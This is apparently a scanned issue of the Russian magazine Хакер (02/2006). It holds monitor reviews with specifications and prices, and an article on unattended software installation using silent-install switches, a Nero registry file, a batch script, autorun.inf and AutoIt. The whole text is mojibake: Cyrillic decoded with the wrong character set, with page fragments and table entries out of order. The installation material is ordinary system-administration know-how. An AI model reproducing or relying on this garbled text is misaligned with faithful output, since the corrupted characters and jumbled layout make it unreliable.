âñåõ îñòàëüíûõ ìåñòàõ.  ìåíþ ìíîãî ðàçëè÷íûõ îïöèé, íî íàâèãàöèÿ ïî íèì íåñêîëüêî íåóäîáíà, õîòÿ è òóò ìîæíî ïðèâûêíóòü. Êîíñòðóêöèÿ ñòàíèíû ïðåäóñìàòðèâàåò äâèæåíèå ýêðàíà ââåðõ/âíèç è ïîâîðîò åãî â ãîðèçîíòàëüíîé ïëîñêîñòè áåç ïîâðåæäåíèÿ ïîâåðõíîñòè ñòîëà.

Åùå îäèí ìîíèòîð, ñïåöèàëüíî ïðåäíàçíà÷åííûé äëÿ ëþáèòåëåé ðàçâëå÷åíèé. Ëàòåíòíîñòü ìàòðèöû îïÿòü æå íà âûñîòå: ó äâèæóùèõñÿ ïðåäìåòîâ íàáëþäàåòñÿ ÷óòü çàìåòíîå ðàçìûòèå ãðàíèö, äà è òî ëèøü â ñëó÷àå, åñëè ôîí î÷åíü êîíòðàñòíûé. ßðêîñòü íàõîäèòñÿ íà íîðìàëüíîì óðîâíå è äèàïàçîí åå èçìåíåíèÿ äîñòàòî÷íî øèðîê. Ïî ñðàâíåíèþ ñ êîíêóðåíòàìè, ýòî íå ñàìàÿ ëó÷øàÿ öâåòîïåðåäà÷à: ãðàôèêè èìåþò ðÿä èñêðèâëåíèé è ñêà÷êè ââåðõ â íà÷àëå äèàïàçîíà. Íåâûñîêèå óãëû îáçîðà, îñîáåííî âåðòèêàëüíûå: äàæå ïðè íåáîëüøèõ îòêëîíåíèÿõ îò öåíòðà èçîáðàæåíèå íà÷èíàåò îòäàâàòü â æåëòèçíó, à åñëè îòêëîíèòñÿ åùå áîëüøå, òî èíâåðòèðóåòñÿ (ñòàíîâèòñÿ, êàê íà íåãàòèâå). Èìåþòñÿ âñòðîåííûå êîëîíêè, íî ïðèëè÷íûé ðåçóëüòàò îíè ïîêàçûâàþò òîëüêî íà íåâûñîêèõ ãðîìêîñòÿõ.  ïðîòèâíîì ñëó÷àå ñëûøåí çàìåòíûé øóì è äðåáåçæàíèå. Ìåíþ óäîáíîå è ïîäðîáíîå, íî âîò êíîïêè óïðàâëåíèÿ ðàñïîëîæåíû íà íèæíåé ÷àñòè, òàê ÷òî åñëè ïîâåðíóòü ýêðàí ìàêñèìàëüíî âíèç, òî ê íèì äîáðàòüñÿ áóäåò òÿæåëî. Êíîïêà âêëþ÷åíèÿ ïîäñâå÷èâàåòñÿ ñèíèì ÿðêèì ñâåòîäèîäîì, êîòîðûé ìîæåò îòâëåêàòü îò ðàáîòû.

ACER AL1751

3

CTX X782

2

ROVERSCAN OPTIMA 170

1

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 400 Êîíòðàñò: 500:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 8 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 150/135 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 379x400x164 Âåñ, êã: 4,8

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 500:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 12 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 140/130 Èíòåðôåéñû: D-SUB Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 377x411x173 Âåñ, êã: 4,6

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 450:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 20 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 160/160 Èíòåðôåéñû: D-SUB Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 387x374x190 Âåñ, êã: 5

$335

$273

$277

Ýòîò äåâàéñ îáëàäàåò íèçêèì óðîâíåì ìàêñèìàëüíîé ÿðêîñòè — åãî ñ òðóäîì õâàòàåò äàæå íà îáû÷íóþ ðàáîòó. Ïðè ýòîì â ðàçíûõ ÷àñòÿõ ìàòðèöû îíà ðàçíàÿ (ïî êðàÿì ÷óòü âûøå, ÷åì â öåíòðå). Ýòîò ðåçóëüòàò áûë ïîëó÷åí ñëåäóþùèì îáðàçîì: âûâîäèëñÿ ÷åðíûé öâåò âî âåñü ýêðàí, è â ýòèõ ðàéîíàõ âîçíèêàëè ñâåòëûå ðàçâîäû. Öâåòîïåðåäà÷à ñðåäíÿÿ. Ñ îäíîé ñòîðîíû, ãðàôèêè çàìåòíî èçãèáàþòñÿ íà âñåì äèàïàçîíå, íî, ñ äðóãîé ñòîðîíû, îíè ðàñïîëîæåíû äîñòàòî÷íî áëèçêî äðóã ê äðóãó. Âðåìÿ îòêëèêà ïèêñåëåé ìàëåíüêîå: çà ïåðåìåùàþùèìèñÿ ïðåäìåòàìè íå âèäíî øëåéôà, äàæå åñëè ôîí êîíòðàñòíûé. Ñîâñåì íåáîëüøèå óãëû îáçîðà ïî âåðòèêàëè. Äàæå åñëè ðàñïîëîæèòüñÿ ïðÿìî ïåðåä ýêðàíîì, òî âåðõíÿÿ åãî ÷àñòü áóäåò íåñêîëüêî òåìíåå, à, åñëè íà÷àòü îòêëîíÿòüñÿ âíèç, êàðòèíêà áûñòðî íà÷èíàåò èñêàæàòüñÿ. Íà ïîâåðõíîñòè ìàòðèöû èìååòñÿ çàùèòíîå ïîêðûòèå, íî îíî ñèëüíî áëèêóåò, òàê ÷òî ñâåòèëüíèêè â êîìíàòå íàäî ðàñïîëàãàòü òàê, ÷òîáû èõ ëó÷è íå îòðàæàëèñü òî÷íî â ãëàçà. Âñå ðàçúåìû íàõîäÿòñÿ íà ñòàíèíå, ÷òî óäîáíî ïðè ïîäêëþ÷åíèè øëåéôîâ.

Öâåòîïåðåäà÷à íàõîäèòñÿ íà ñðåäíåì óðîâíå: ëèíèè ïëàâíûå, íî ñèíÿÿ ñìåùåíà âíèç, à ó êðàñíîé âèäåí ïåðåïàä â íà÷àëå äèàïàçîíà. Ìàêñèìàëüíàÿ ÿðêîñòü âûñîêà è äèàïàçîí åå èçìåíåíèÿ øèðîêèé. Ê ñîæàëåíèþ, äëÿ åå íàñòðîéêè ïðèäåòñÿ ëàçèòü â ìåíþ — íà îòäåëüíûå êíîïêè îíà íå âûíåñåíà. Òî æå ñàìîå îòíîñèòñÿ è ê êîíòðàñòíîñòè. Ïîðàäîâàëà ëàòåíòíîñòü ìàòðèöû: äâèæóùèéñÿ áåëûé êâàäðàòèê ïî ÷åðíîìó ôîíó îñòàâëÿåò ëèøü ÷óòü çàìåòíûé ñëåä. Óãëû îáçîðà îòíîñèòåëüíî áîëüøèå, ïðàâäà, åñëè ïåðåìåùàòüñÿ âíèç îòíîñèòåëüíî îñè, ïðîõîäÿùåé ÷åðåç öåíòð ýêðàíà, òî êàðòèíêà çàìåòíî òóñêíååò. Ìåíþ óäîáíîå è ïîäðîáíîå, íî ïðè íàâèãàöèè «ïî âåðòèêàëè» èìååòñÿ çàìåòíîå âðåìÿ ìåæäó íàæàòèåì êíîïêè è ðåàêöèåé ìîíèòîðà. Êàê è â ïðåäûäóùåì äåâàéñå, ñìóùàåò îòñóòñòâèå öèôðîâîãî âõîäà, õîòÿ ìåñòî äëÿ íåãî ïðåäóñìîòðåíî. Òà æå ñèòóàöèÿ ñ êîëîíêàìè: íà ïåðåäíåé ÷àñòè êîðïóñà åñòü äëÿ íèõ ìåñòî, íî ñàìè äèíàìèêè îòñóòñòâóþò. Ñòàíèíà ñëèøêîì âûñîêî ïðèïîäíèìàåò ýêðàí íàä ñòîëîì, òàê ÷òî òàêîå ðàñïîëîæåíèå íå âñåãäà áûâàåò óäîáíûì.

Ýòîò äåâàéñ îáëàäàåò ñðåäíèìè ïîêàçàòåëÿìè êà÷åñòâà èçîáðàæåíèÿ: âðåìÿ îòêëèêà ïèêñåëÿ íîðìàëüíîå äëÿ ïîäîáíîãî óñòðîéñòâà — äâèæóùèåñÿ îáúåêòû íåçíà÷èòåëüíî ðàçìûâàþòñÿ. ßðêîñòü äîñòàòî÷íàÿ äëÿ ëþáîãî âèäà äåÿòåëüíîñòü — ñ ýòèì ïðîáëåì íåò. Öâåòîïåðåäà÷à õàðàêòåðíà äëÿ áþäæåòíîãî ìîíèòîðà — ãðàôèêè ñèëüíî ðàñõîäÿòñÿ â ñåðåäèíå äèàïàçîíà è ñóæàþòñÿ ïî êðàÿì, â íà÷àëå èìåþòñÿ íåáîëüøèå ïåðåïàäû. Ìåíþ õîðîøî âèçóàëèçèðîâàíî è äîñòàòî÷íî ïîäðîáíî, íî âîò íàâèãàöèÿ ñäåëàíà íåóäîáíî — ìîæíî ëåãêî çàïóòàòüñÿ â îïöèÿõ, ê òîìó æå íàçíà÷åíèå ýëåìåíòîâ óïðàâëåíèÿ íåî÷åâèäíî. Ïðàâäà, ðóññêèé ÿçûê âñå æå èìååòñÿ. Óãëû îáçîðà íå ñàìûå ëó÷øèå è, êàê ó ìíîãèõ ñîáðàòüåâ, îñîáåííî ñòðàäàþò âåðòèêàëüíûå óãëû — òóò èçîáðàæåíèå íà÷èíàåò èíâåðòèðîâàòüñÿ ïðè ñîâñåì íåáîëüøèõ îòêëîíåíèÿõ. Ñ ãîðèçîíòàëüíûìè âñå îáñòîèò ÷óòü ëó÷øå: íà êàðòèíêå âîçíèêàåò æåëòûé íàëåò. Ê ñîæàëåíèþ, íè ÿðêîñòü, íè êîíòðàñòíîñòü íå âûâåäåíû íà îòäåëüíûå êíîïêè. Îáíàðóæèëîñü îòñóòñòâèå öèôðîâîãî âõîäà, ÷òî ñòðàííî, òàê êàê áîëüøèíñòâî ìîíèòîðîâ ñ äèàãîíàëüþ 17 äþéìîâ èì îñíàùåíî.

XÀÊÅÐ 02 /86/ 06

021


SAMSUNG SyncMaster 740t EIZO FlexScan L578

ViewSonic VX724

SONY SDM-S75F

BENQ FP71V

BENQ FP202W

NEC MultySync 70GX2 BENQ FP202W

CTX X782

NEC MultySync 70GX2

ROVERSCAN OPTIMA 170

ACER AL1751

022

Ðàçìåð ýêðàíà (âèäèìûé): 17” Ìàêñèìàëüíîå ðàçðåøåíèå: 1280*1024 ßðêîñòü, êä/ì^2: 400 Êîíòðàñò: 700:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 4 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 155/170 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’99 Ðàçìåðû, ìì: 367x390.5x203 Âåñ, êã: 6,5

Ðàçìåð ýêðàíà (âèäèìûé): 20” Ìàêñèìàëüíîå ðàçðåøåíèå: 1680*1050 ßðêîñòü, êä/ì^2: 300 Êîíòðàñò: 600:1 Ëàòåíòíîñòü ìàòðèöû, ìñ: 8 Óãîë çðåíèÿ (ïî ãîðèçîíòàëè/ïî âåðòèêàëè), ãðàä.: 170/170 Èíòåðôåéñû: D-SUB, DVI-D Ñòàíäàðòû áåçîïàñíîñòè: MPR-II, TCO’’92 Ðàçìåðû, ìì: 480x397x170 Âåñ, êã: 5,7

$399

$591

Åùå îäèí ìîíèòîð, îáëàäàþùèé ïðàêòè÷åñêè èäåàëüíîé öâåòîïåðåäà÷åé: âñå ëèíèè ïðàêòè÷åñêè ñëèëèñü ìåæäó ñîáîé — ðàñõîæäåíèÿ ìåæäó íèìè íè÷òîæíû. Ëàòåíòíîñòü ìàòðèöû òàêæå íà âûñîêîì óðîâíå – êðàé äâèæóùèõñÿ îáúåêòîâ íå ðàçìûâàåòñÿ è ýòî âèäíî äàæå ïðè äåòàëüíîì ðàññìîòðåíèè. ßðêîñòü õîðîøàÿ — åå áóäåò õâàòàòü è äëÿ ôèëüìîâ, è äëÿ èãð. Óãëû îáçîðà ñðåäíèå — íàäî ñèëüíî îòêëîíèòñÿ, ÷òîáû íà÷àëèñü èñêàæåíèÿ öâåòîâ, íî ðåçóëüòàò âñå æå íå äîòÿãèâàåò äî ñàìûõ ëó÷øèõ ïðåäñòàâèòåëåé êëàññà. Äëÿ íàâèãàöèè ïî ìåíþ ïðåäóñìîòðåíû òðè êíîïêè è îäèí äæîéñòèê, ÷òî äåëàåò óïðàâëåíèå ìîíèòîðîì ìàêñèìàëüíî áûñòðûì è ïîíÿòíûì. Íà äæîéñòèê âûíåñåíû ðåãóëèðîâêà ÿðêîñòè è êîíòðàñòà, ÷òî î÷åíü óäîáíî. Ýêðàí èìååò ñèëüíî áëèêóþùåå ïîêðûòèå. Èç äîïîëíèòåëüíûõ âîçìîæíîñòåé ìîæíî îòìåòèòü ïîâîðîòíûé êðóã íà íèæíåé ÷àñòè ñòàíèíû è âñòðîåííûé USB-êîíöåíòðàòîð íà ÷åòûðå ïîðòà, äâà èç êîòîðûõ íàõîäÿòñÿ íà ïðàâîì òîðöå êîðïóñà ýêðàíà. Èíäèêàòîð ðàáîòû èìååò ñèíèé öâåò, ÷òî ìîæåò ìåøàòü ðàáîòå.

Ýòîò ìîíèòîð îñíàùåí 20” øèðîêèì ýêðàíîì, ñïåöèàëüíî ïðåäíàçíà÷åííûì äëÿ ïðîñìîòðà ôèëüìîâ. Èìåííî äëÿ ýòîé öåëè èìåþòñÿ ôèêñèðîâàííûå íàñòðîéêè êàðòèíêè — Êèíî1 è Êèíî2. Ðàçðåøåíèå òàêæå áóäåò èíûì — 1680*1050. ×òî êàñàåòñÿ êà÷åñòâà èçîáðàæåíèÿ, òî òóò ñèòóàöèÿ ñëåäóþùàÿ: öâåòîïåðåäà÷à íå ñàìàÿ ëó÷øàÿ, òàê êàê íà äèàãðàììå âèäíî, ÷òî ãðàôèêè ñèëüíî ðàñõîäÿòñÿ è èìåþò èñêðèâëåííóþ ôîðìó. Âðåìÿ îòêëèêà ïèêñåëÿ îêàçàëîñü ìàëåíüêèì: çà äâèæóùèìèñÿ ïðåäìåòàìè íå òîëüêî íå îñòàåòñÿ øëåéôà, íî èõ êðàÿ äàæå íå ðàçìûâàþòñÿ! Ýòî áåçóñëîâíî ÿâëÿåòñÿ îòëè÷íûì ïîäñïîðüåì äëÿ ëþáèòåëåé èãð è âèäåî. ßðêîñòü è êîíòðàñòíîñòü îêàçàëèñü íà âûñîòå: ìàêñèìàëüíûå çíà÷åíèÿ âåëèêè, äèàïàçîíû èçìåíåíèÿ äîñòàòî÷íî øèðîêèå. Êíîïêè ìåíþ è ïîäïèñè ê íèì ðàñïîëîæåíû íà ïðàâîì òîðöå ýêðàíà, ÷òî ñèëüíî îñëîæíÿåò ïåðåäâèæåíèå ïî îïöèÿì, òàê êàê âåëèêà âåðîÿòíîñòü ñëó÷àéíûõ íàæàòèé.  òî æå âðåìÿ ìåíþ õîðîøî âèçóàëèçèðîâàíî è ìîæåò îòîáðàæàòüñÿ íà ðóññêîì ÿçûêå. XÀÊÅÐ 02 /86/ 06


PC_ZONE ///// ISSUE

TEXT ÊÈÑÅËÅÂ ÊÈÐÈËË / SUPPORT@LAZYRUN.COM /

ÑÄÅËÀÉ ÏÎ-Á ÁÛÑÒÐÎÌÓ ÓÑÒÀÍÎÂÊÀ ÑÎÔÒÀ  ÀÂÒÎÌÀÒÈ×ÅÑÊÎÌ ÐÅÆÈÌÅ

ÁÎËÜØÈÍÑÒÂÎ ÑÈÑÒÅÌÍÛÕ ÀÄÌÈÍÈÑÒÐÀÒÎÐΠÇÍÀÞÒ, ÊÀÊ ÌÎÆÍÎ ÁÛÑÒÐÎ ÓÑÒÀÍÎÂÈÒÜ/ÏÅÐÅÓÑÒÀÍÎÂÈÒÜ WINDOWS. ÄËß ÝÒÈÕ ÖÅËÅÉ ÑÓÙÅÑÒÂÓÞÒ ÏÐÎÃÐÀÌÌÛ, ÏÎÇÂÎËßÞÙÈÅ ÑÄÅËÀÒÜ ÒÎ×ÍÛÉ ÎÁÐÀÇ ÓÑÒÀÍÎÂËÅÍÍÎÉ WINDOWS ÂÌÅÑÒÅ ÑÎ ÂÑÅÌÈ ÓÑÒÀÍÎÂËÅÍÍÛÌÈ ÏÐÈËÎÆÅÍÈßÌÈ, ÄÐÀÉÂÅÐÀÌÈ È Ò.Ï. ÄÎÑÒÀÒÎ×ÍÎ ÂÎÑÑÒÀÍÎÂÈÒÜ ÈÇ ÎÁÐÀÇÀ ÑÈÑÒÅÌÍÛÉ ÐÀÇÄÅË, È ÍÀ ÌÀØÈÍÅ ÓÑÒÀÍÎÂËÅÍÀ ÏÎËÍÎÑÒÜÞ ÃÎÒÎÂÀß Ê ÐÀÁÎÒÅ WINDOWS. ÝÒÈÌ ÇÀÍÈÌÀÞÒÑß ÒÀÊÈÅ ÏÐÎÃÐÀÌÌÛ, ÊÀÊ ACRONIS TRUEIMAGE, POWERQUEST DEPLOYCENTER, NORTON GHOST. ÍÎ Â ÑËÓ×ÀÅ Ñ WINDOWS XP ÌÎÆÍÎ ÏÎÑÒÓÏÈÒÜ ÏÎ-ÄÐÓÃÎÌÓ

ÀÂÒÎÌÀÒÈÊÀ ÐÅØÀÅÒ

Ñ ïîÿâëåíèåì Windows XP ñòàëî âîçìîæíûì óñòàíîâèòü ñèñòåìó â ïîëíîñòüþ àâòîìàòè÷åñêîì ðåæèìå, óêàçàòü íåëåïûå íàñòðîéêè, èìÿ ïîëüçîâàòåëÿ è ñåðèéíûé êëþ÷.  õîäå óñòàíîâêè äàæå ìîæíî íàéòè ëþáûå ïðèëîæåíèÿ, êëþ÷è ðååñòðà, îáíîâëåííûå äðàéâåðà è ò.ä. — âñå çàâèñèò îò òâîèõ çàïðîñîâ è ôàíòàçèè.  àíãëèéñêîì ÿçûêå ýòîò ïðîöåññ íàçûâàåòñÿ unattended installation, ÷òî ïîðóññêè ìîæíî ïåðåâåñòè, êàê «àâòîìàòè÷åñêàÿ óñòàíîâêà». Ïîëó÷àåòñÿ, ÷òî â ïëàíå ïåðåóñòàíîâêè Windows ó ñèñòåìíûõ àäìèíèñòðàòîðîâ ïðîáëåì ñòàëî ìåíüøå. Âñÿ óñòàíîâêà çàêëþ÷àåòñÿ òîëüêî â òîì, ÷òîáû âñòàâèòü ñïåöèàëüíûé äèñê â ïðèâîä ïîëüçîâàòåëÿ. À âîò êàê áûòü, åñëè íàäî íà óñòàíîâëåííóþ âèíäó ïîñòàâèòü êàêîå-íèáóäü ïðèëîæåíèå? Ñîôò äëÿ áóõãàëòåðà, þðèñòà, èíæåíåðà? Òóò àäìèíèñòðàòîð ÷åñòíî èäåò ñ äèñêîì ïðîãðàììû ê ïîëüçîâàòåëþ, ÷åñòíî æìåò êíîïêè, îòâå÷àåò, ÷òî îí ñîãëàñåí ñ ëèöåíçèîííûì ñîãëàøåíèåì, ââîäèò ðó÷êàìè ñåðèéíèê è æäåò ïîÿâëåíèÿ êíîïêè «Finish». Ïðîäåëûâàòü òàêóþ ÍÀÇÂÀÍÈÅ ÈÍÑÒÀËËßÒÎÐÀ

024

ðàáîòó áîëüøå ÷åì íà îäíîì êîìïüþòåðå — çàíÿòèå íåáëàãîäàðíîå. Íî, ê ñ÷àñòüþ, è çäåñü åñòü íåçàìåíèìûå ïîìîùíèêè. Î íèõ è ïîéäåò ðå÷ü. Ïîìî÷ü àäìèíèñòðàòîðó ìîãóò ñàìè èíñòàëëÿòîðû ïðîãðàìì. Áîëüøèíñòâî èç íèõ èìåþò ñïåöèàëüíûå êëþ÷è, ñ ïîìîùü�� êîòîðûõ ìîæíî çàïóñòèòü àâòîìàòè÷åñêóþ óñòàíîâêó ïðîãðàììû. Íàèáîëåå ÷àñòî èñïîëüçóþòñÿ ñëåäóþùèå òèïû èíñòàëëÿòîðîâ: 1 InstallShield 2 Windows Installer Service (*.msi) 3 InstallShield ñ MSI 4 Inno Setup 5 Nullsoft SuperPiMP Install System (NSIS) 6 WISE Installer Ñïèñîê èíñòàëëÿòîðîâ, êîíå÷íî, íåïîëíûé, îõâàòèòü âñå ïðîñòî íåâîçìîæíî. Âñå êëþ÷è, êîòîðûå ïîìîãóò òåáå íàëàäèòü àâòîìàòèêó, ÿ ïðèâåë â ïîäðîáíîé òàáëèöå.

ÇÀÏÓÑÊ Ñ ÊËÞ×ÎÌ

ÊÀÊ ÐÀÑÏÎÇÍÀÒÜ

InstallShield

setup.exe /s /sms

Windows Installer Service (*.msi)

setup.msi "/qn REBOOT=ReallySuppress" Ðàñøèðåíèå *.MSI

InstallShield c MSI

setup.exe /s /v "/qn REBOOT=ReallySuppress"

Ïðèëîæåíèÿ ìîãóò áûòü â âèäå îòäåëüíûõ MSI-ôàéëîâ èëè ïîñòàâëÿòüñÿ ñ óñòàíîâùèêîì setup.exe.

Inno Setup

setup.exe /VERYSILENT /SP-

Ïðè çàïóñêå èíñòàëëÿòîðà â ñàìîì ïåðâîì îêíå êëèêíèòå íà èêîíêó â ëåâîì âåðõíåì óãëó è âûáåðèòå ïóíêò About Setup èç ìåíþ.

Íàëè÷èå ôàéëà setup.iss â äèðåêòîðèè;  ñâîéñòâàõ óñòàíîâî÷íîãî ôàéëà (êîòîðûé, êñòàòè, âñåãäà íàçûâàåòñÿ setup.exe) áóäåò ÷òî-òî òèïà "InstallShield (R) Setup Launcher".

Nullsoft SuperPiMP Install System (NSIS) Setup.exe /S

Âíèçó èíñòàëëÿòîðà íàäïèñü Nullsoft Install System

WISE Installer

Íàäïèñü íà ïåðâîì îêíå èíñòàëëÿòîðà Initializing Wise Installation Wizard

Setup.exe /s

XÀÊÅÐ 02 /86/ 06


ÝÒÎ Íàø ðåäàêòîð ëþáåçíî âûëîæèë âñå ïðîãðàììû íà äèñê, â òîì ÷èñëå òóëçû äëÿ ñîçäàíèÿ ôàéëîâ-óñòàíîâùèêîâ è óòèëèòû äëÿ àâòîìàòèçàöèè óñòàíîâêè.

1 Äëÿ Windows Installer ìîæíî çàäàâàòü êëþ÷è /qb èëè /qn.

çàêëþ÷àÿ âñå âûðàæåíèå â êàâû÷êè.

Ïåðâûé ïîêàæåò ïðîãðåññ óñòàíîâêè, à âòîðîé ïîëíîñòüþ ñêðîåò âñå îêíà è íåçàìåòíî óñòàíîâèò ïðèëîæåíèå. Åñëè òû õî÷åøü îòîáðàçèòü ïðîãðåññ óñòàíîâêè, íî íå ïîêàçûâàòü êíîïêó «Cancel», èñêëþ÷àÿ âîçìîæíîñòü ïðåðûâàíèÿ óñòàíîâêè ïîëüçîâàòåëåì, òî èñïîëüçóé êëþ÷ /qb-!. Íåêîòîðûå ïðèëîæåíèÿ òðåáóþò ïåðåçàãðóçêè êîìïüþòåðà ïîñëå óñòàíîâêè. ×òîáû ýòîãî èçáåæàòü, èñïîëüçóé ñâîéñòâî REBOOT=ReallySuppress âìåñòå ñ /qn èëè /qb,

2 InstallShield ñ MSI ìîãóò áûòü äâóõ òèïîâ: InstallScript MSI

Îòäåëüíûé ðàçãîâîð, åñëè èíñòàëëÿòîð ïðè óñòàíîâêå òðåáóåò ââîä ñåðèéíîãî íîìåðà. Íàïðèìåð, Nero Burning Rom ìîæåò áûòü àâòîìàòè÷åñêè óñòàíîâëåí ñëåäóþùåé êîìàíäîé:

nero6303.exe /silent /noreboot /no_ui /sn=xxxx-xxxx-xxxxxxxx-xxxx-xxxx /write_sn Ìîæíî òàêæå ñîçäàòü ðåãèñòðàöèîííûé ôàéë, êîòîðûé áóäåò âíîñèòü ðåãèñòðàöèîííûå äàííûå ïðÿìî â ðååñòð. Ïðèìåð ôàéëà regnero.reg:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Ahead\Nero — Burning Rom\Info] «User»=«InsertName» «Company»=«InsertCompanyName» «Serial5»=«InsertSerial» Äëÿ Nero 6-é âåðñèè ïîñëåäíÿÿ ñòðîêà äîëæíà áûòü òàêîé:

«Serial6»=«InsertSerial»

Òîãäà ïåðåä àâòîóñòàíîâêîé òû ìîæåøü ñíà÷àëà çàïóñòèòü ðåãèñòðàöèîííûé ôàéë, à ïîòîì óæå — àâòîóñòàíîâêó ñ êëþ÷àìè. Ïîíÿòíî, ÷òî îò òàêîé àâòîìàòèçàöèè áóäåò ìàëî òîëêó áåç êîìàíäíûõ ôàéëîâ.

Åñëè ñ êëþ÷àìè òåáå ðàáîòàòü íå íðàâèòñÿ (ýòî êàæåòñÿ òåáå ñëîæíûì) èëè òû íå ñìîã ïîäîáðàòü êëþ÷è äëÿ àâòîìàòè÷åñêîé óñòàíîâêè, òî ìîæåøü ïîïðîáîâàòü ïðîãðàììû, ýìóëèðóþùèå äåéñòâèÿ ïîëüçîâàòåëÿ ïðè «íîðìàëüíîé» óñòàíîâêå ïðèëîæåíèÿ. Îáùèé ñìûñë ðàáîòû ïðîãðàìì òàêîãî òèïà â ñëåäóþùåì. Èíñòàëëÿòîð çàïóñêàåòñÿ â îáû÷íîì ðåæèìå áåç êëþ÷åé, à âñå äåéñòâèÿ, òàêèå êàê íàæàòèå êíîïîê, ââîä ñåðèéíûõ íîìåðîâ, ðàññòàíîâêà ôëàæêîâ, ïðîèñõîäÿò â ðåæèìå ýìóëÿöèè äåéñòâèé

XÀÊÅÐ 02 /86/ 06

è Basic MSI. InstallScript MSI èñïîëüçóåò òðàäèöèîííûå êëþ÷è InstallShield.  òàáëè÷êå ïðèâåäåíû êëþ÷è äëÿ Basic MSI. Îáðàòè âíèìàíèå, ÷òî êëþ÷ /v è êàâû÷êè ïèøóòñÿ ñëèòíî. 3 Ðåãèñòð êëþ÷åé èìååò çíà÷åíèå, òî åñòü /S è /s — íå îäíî è òî æå. Î êëþ÷àõ äðóãèõ òèïîâ èíñòàëëÿòîðîâ ìîæíî óçíàòü, çàïóñòèâ ïðîãðàììó ñ êëþ÷îì /? èëè /help.

Íàïðèìåð, ñîçäàé ôàéë autosetup.cmd:

ECHO Installing Nero Burning Rom ECHO Please wait... REGEDIT /S D:\Install\regnero.reg start /wait D:\Install\Nero551054.exe /silent /noreboot /no_ui

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÒÐÓÄÍÎÑÒÈ

Ãäå D — áóêâà ïðèâîäà (óíèâåðñàëüíîé ïåðåìåííîé òèïà %CDROM%, ê ñîæàëåíèþ, íåò). Êëþ÷ /wait êîìàíäû start ïîçâîëèò äîæäàòüñÿ îêîí÷àíèÿ ïðîöåññà óñòàíîâêè. Ýòî íåîáõîäèìî, ÷òîáû íå çàïóñêàëîñü ñðàçó íåñêîëüêî ïðîöåññîâ èíñòàëëÿöèè.  êîìàíäíûé ôàéë ìîæåøü çàïèñàòü êîìàíäû äëÿ àâòîèíñòàëëà âñåõ íåîáõîäèìûõ ïðèëîæåíèé. Òàêèì îáðàçîì, òû ìîæåøü çàïèñàòü âñå èíñòàëëÿòîðû è êîìàíäíûé ôàéë autosetup.cmd íà äèñê è çàïóñêàòü àâòîìàòè÷åñêóþ óñòàíîâêó ÷åðåç íåãî. Ìîæíî òàêæå áðîñèòü â êîðåíü äèñêà ôàéë autorun.inf:

[Autorun] Open=autosetup.cmd Òîãäà êîìàíäíûé ôàéë çàïóñòèò àâòîìàòè÷åñêóþ èíñòàëëÿöèþ ñðàçó ïðè âñòàâêå äèñêà â ïðèâîä.

ïîëüçîâàòåëÿ. Â ðåçóëüòàòå òû óâèäèøü îêíî èíñòàëëÿòîðà, â êîòîðîì ñàìè íàæèìàþòñÿ êíîïêè, ñíèìàþòñÿ/ñòàâÿòñÿ ôëàæêè, ââîäÿòñÿ ñåðèéíûå íîìåðà è ò.ï. Ê ïðîãðàììàì òàêîãî ðîäà îòíîñÿòñÿ AutoIt è LazySetupCD. Äëÿ AutoIt òû äîëæåí ïèñàòü ñêðèïòû íà ñïåöèàëüíîì ñêðèïòîâîì ÿçûêå. Íàïðèìåð, äëÿ óñòàíîâêè ïðîãðàììû LazySetupCD ñêðèïò áóäåò òàêîé:

//çàïóñê óñòàíîâêè èç äèðåêòîðèè c:\temp Run, c:\temp\LazySetupCD\setup.exe

//äîæäåìñÿ ïîÿâëåíèÿ íóæíîãî îêíà WinWaitActive, Ëèöåíçèîííîå ñîãëàøåíèå //íàæìåì «Äà», òî åñòü îòïðàâèì íàæàòèå Enter Send, {Enter} //äîæäåìñÿ ïîÿâëåíèÿ ñëåäóþùåãî îêíà WinWaitActive, LazySetupCD v.1.1 //íàæìåì OK Send, {Enter} //çàâåðøåíèå Exit

×ÓÄÎ-ÀÂÒÎÌÀÒÈÇÀÒÎÐÛ

025


PC_ZONE ///// ISSUE

1

2

3

Âîçìîæíî, òåáå ïðèäåòñÿ ïî äóøå èäåÿ ñîçäàíèÿ LiveCD ñ âèíäîé.  ýòîì ñëó÷àå âîîáùå íå ïðèäåòñÿ ÷òî-ëèáî èíñòàëëèòü — äîñòàòî÷íî áóäåò âñòàâèòü äèñê â CD-ROM. Ñòîëü ýêñòðàâàãàíòíûé ïîäõîä ìîæåò áûòü ðåàëèçîâàí ñ ïîìîùüþ ïðîãðàììû Bart’s Preinstalled Environment (www.nu2.nu/pebuilder)

Ïðè ïîäãîòîâêå ñòàòüè èñïîëüçîâàëèñü ìàòåðèàëû unattended.OSzone.net, autosetup.org.ru, æóðíàëà «Ñèñòåìíûé àäìèíèñòðàòîð» ¹¹4-7 2005 ãîäà. Äëÿ äàëüíåéøåãî èçó÷åíèÿ òåìû ïðî÷èòàòü èõ ïðîñòî íåîáõîäèìî.

